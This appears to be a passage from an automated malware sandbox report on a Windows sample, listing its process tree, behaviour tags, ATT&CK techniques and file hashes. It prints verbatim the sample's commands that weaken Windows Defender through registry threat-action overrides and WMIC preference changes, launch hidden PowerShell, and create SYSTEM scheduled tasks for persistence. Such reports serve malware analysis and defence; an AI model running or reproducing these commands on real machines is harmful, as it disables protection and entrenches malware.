  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6692
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5808
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6844
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:6356
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4496
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4660
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:6092
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4348
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3604
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1364
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:2136
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:1936
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5164
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1524
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:6832
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:6376
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:1412
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5196
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1996
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:6840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5964
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1572
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2560
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:200
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5856
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1180
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1048
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3632
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5468
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5000
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5872
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1028
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zjtCPqTOixnxYITTP" /SC once /ST 14:50:53 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\QDiQnOp.exe\" XQ /NjfgdidQy 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:1076
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "zjtCPqTOixnxYITTP"
  2⤵
  PID:5400
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3696 -s 876
  2⤵
  - Program crash
  PID:5184

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2100

C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\QDiQnOp.exe
C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\QDiQnOp.exe XQ /NjfgdidQy 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:424
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4212
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6500
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2352
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:6664
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5484
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2376
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1736
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:2220
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:3036
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4300
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:2148
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1984
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:6612
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1716
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4704
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bjeWJKrHnPpdAGCduF"
  2⤵
  PID:2784
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:6016
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:5236
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:5980
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:560
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:6828
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RgdiTWAdU\rtfCHE.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gwLAkOfFqvEnRPY" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:5604
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gwLAkOfFqvEnRPY2" /F /xml "C:\Program Files (x86)\RgdiTWAdU\HeECmML.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2484
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "gwLAkOfFqvEnRPY"
  2⤵
  PID:6688
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gwLAkOfFqvEnRPY"
  2⤵
  PID:1444
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "pkYJRvtpGfZaSU" /F /xml "C:\Program Files (x86)\dLLzADClkagU2\thLwjwX.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2364
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yMFQLDLxyvLyt2" /F /xml "C:\ProgramData\KTrRWZTJHHaefVVB\TvXTMwX.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5184
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "raxKGaIGjdREsorgF2" /F /xml "C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\bsTIuLB.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4880
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JnvrxUwmUummIDFugIt2" /F /xml "C:\Program Files (x86)\wGxkUGMqSkfBC\oHAhrGD.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6580
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "zjtCPqTOixnxYITTP"
  2⤵
  PID:6276
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 2180
  2⤵
  - Program crash
  PID:6704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3696 -ip 3696
1⤵
PID:4108

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3fcd055 /state1:0x41c64e6d
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1856 -ip 1856
1⤵
PID:3228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e597585.rbs

Filesize
20KB

MD5
aeb1bd4fadd5ca73e8b6d2ded06986e4

SHA1
82814fa3c2cf4cd9641127ff808d6e6a20361c76

SHA256
1f6fb4383bd4b9978269085460f6ebce2f638e7dba3502adaae4a08d5a1c0f06

SHA512
